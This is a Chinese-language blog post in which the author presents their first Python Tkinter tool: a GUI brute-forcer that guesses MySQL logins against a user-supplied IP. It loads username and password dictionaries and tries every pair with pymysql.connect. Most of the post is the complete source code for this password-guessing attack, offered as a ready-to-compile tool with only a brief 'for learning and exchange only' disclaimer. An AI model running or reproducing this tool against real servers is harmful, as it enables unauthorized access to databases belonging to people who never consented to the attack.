本篇博客记录下基于python写的gui小工具,也是我学python以来自己动手写的第一款交互型的工具
Tkinter: Tkinter 模块(Tk 接口)是 Python 的标准 Tk GUI 工具包的接口 .Tk 和 Tkinter
可以在大多数的 Unix 平台下使用,同样可以应用在 Windows 和 Macintosh 系统里。Tk8.0
的后续版本可以实现本地窗口风格,并良好地运行在绝大多数平台中。
本次用到的主要是tkinter模块
引用如下
from tkinter import *
from tkinter.filedialog import *
from tkinter import simpledialog
import tkinter
import os,shutil
import pymysql`
接下来定义各个功能函数如下
1.字典的导入和保存:打开文件对话框保存字典(.txt文件)
代码如下
filepath=tkinter.filedialog.askopenfilename() # 打开文件对话框
fname.set(filepath)
file=shutil.copy(filepath,r'C:\test') # 复制文件到指定路径
2.遍历字典
代码如下
username_list = 'C:/test/username.txt'
password_list = 'C:/test/password.txt'
splitChar = '\t' # 设置过滤字符串
splitChar1 = '\n'
with open(username_list, 'r') as f: # 获取字典中的数据,转换为list
datalist = f.readlines()
with open(password_list, 'r') as p:
passwordlist = p.readlines()
3.mysql爆破模块,数据处理和爆破
引入pymysql,执行循环遍历字典,替换空格并执行爆破
代码如下:
for username1 in datalist:
username=username1.replace(splitChar,'').replace(splitChar1,'') #数据处理,替换掉取出的\t和\n字符
for passwd in passwordlist:
password=passwd.replace(splitChar,'').replace(splitChar1,'')
try: #开始爆破
db=pymysql.connect(host,username,password)
success=True
if success:
print("用户名:" + username +" 密码:" + password + "破解成功")
p="破解完成!用户名:" + username +" 密码:" + password
outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解成功"+"\n")
except:
print("用户名:" + username +" 密码:" + password + "破解失败")
outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解失败"+"\n")
pass
outprint.insert(END,p)
4.定义布局,button按钮和输出区域
button如下:
button=Button(root,text='用户名',fg='blue',bg='Aquamarine',command=Putfile_username).place(x=300,y=45) #创建按钮并绑定属性
button1=Button(root,text='密 码',fg='blue',bg='Aquamarine',command=Putfile_password).place(x=500,y=45)
button2=Button(root,text='执 行',fg='blue',bg='Aquamarine',command=Msqlattrack).place(x=700,y=45)
5.IP我目前之写了一个手动输入的,逻辑上是实时取回用户输入的内容,并赋值为host
代码如下:
label=Label(root,text='IP:',fg='blue',bg='Aquamarine').place(x=50,y=50)
e_lable=Entry(root,textvariable=ipVar).place(x=72,y=50) #定义输入IP并取回输入值
6.执行结果回显
利用outprint.insert(END,p)来回显,我也是第一次用。。。。
代码如下:
outprint=Text(root)
outprint.pack(side=BOTTOM,expand=YES) #定义打印区域
其余的就是基础代码,布局大小和方向,还有title,禁止拉伸什么的这些基本的代码
最终代码如下:
from tkinter import *
from tkinter.filedialog import *
from tkinter import simpledialog
import tkinter
import os,shutil
import pymysql
root = Tk()
root.configure(bg='Aquamarine') # 创建一个Tkinter.Tk()实例
root.geometry("800x500") # 设置主窗口大小
root.resizable(0, 0) #禁止拉伸
root.title("刺心 弱口令工具-MYSQL初始版 其余功能待开发")
def Putfile_username(): # 定义字典
fname = tkinter.StringVar()
if os.path.exists('C:/test/username.txt'): # 判断指定路径是否存在文件,如果有,则删除
os.remove('C:/test/username.txt')
else:
pass
filepath=tkinter.filedialog.askopenfilename() # 打开文件对话框
fname.set(filepath)
file=shutil.copy(filepath,r'C:\test') # 复制文件到指定路径
tip="用户名加载完毕!路径:"+file+"\n"
os.rename(file,"C:/test/username.txt") # 重命名文件名
outprint.insert(END,tip)
def Putfile_password():
if os.path.exists('C:/test/password.txt'):
os.remove('C:/test/password.txt')
else:
pass
fpass = tkinter.StringVar()
passpath = tkinter.filedialog.askopenfilename()
fpass.set(passpath)
passfile = shutil.copy(passpath, r'C:\test')
tip = "密码加载完毕!路径:" + passfile + "\n"
os.rename(passfile, "C:/test/password.txt")
outprint.insert(END, tip)
#def input_ip():
#r=simpledialog.askstring('', '请输入IP:', initialvalue='')
#return r
def Msqlattrack(): # 定义爆破模块
username_list = 'C:/test/username.txt'
password_list = 'C:/test/password.txt'
splitChar = '\t' # 设置过滤字符串
splitChar1 = '\n'
with open(username_list, 'r') as f: # 获取字典中的数据,转换为list
datalist = f.readlines()
with open(password_list, 'r') as p:
passwordlist = p.readlines()
host = ipVar.get() # 取回输入的IP值
for username1 in datalist:
username=username1.replace(splitChar,'').replace(splitChar1,'') #数据处理,替换掉取出的\t和\n字符
for passwd in passwordlist:
password=passwd.replace(splitChar,'').replace(splitChar1,'')
try: #开始爆破
db=pymysql.connect(host,username,password)
success=True
if success:
print("用户名:" + username +" 密码:" + password + "破解成功")
p="破解完成!用户名:" + username +" 密码:" + password
outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解成功"+"\n")
except:
print("用户名:" + username +" 密码:" + password + "破解失败")
outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解失败"+"\n")
pass
outprint.insert(END,p)
ipVar=tkinter.StringVar()
button=Button(root,text='用户名',fg='blue',bg='Aquamarine',command=Putfile_username).place(x=300,y=45) #创建按钮并绑定属性
button1=Button(root,text='密 码',fg='blue',bg='Aquamarine',command=Putfile_password).place(x=500,y=45)
button2=Button(root,text='执 行',fg='blue',bg='Aquamarine',command=Msqlattrack).place(x=700,y=45)
label=Label(root,text='IP:',fg='blue',bg='Aquamarine').place(x=50,y=50)
e_lable=Entry(root,textvariable=ipVar).place(x=72,y=50) #定义输入IP并取回输入值
text_mysql=Label(root,text='MYSQL',font=('楷体',15),bg='Aquamarine').place(x=380,y=7)
outprint=Text(root)
outprint.pack(side=BOTTOM,expand=YES) #定义打印区域
root.mainloop()
编译成exe文件可以运行,也可以在终端里执行
代码还是有很大的瑕疵的。。。
附上我本地测试的截图
注:此工具仅作为学习和交流使用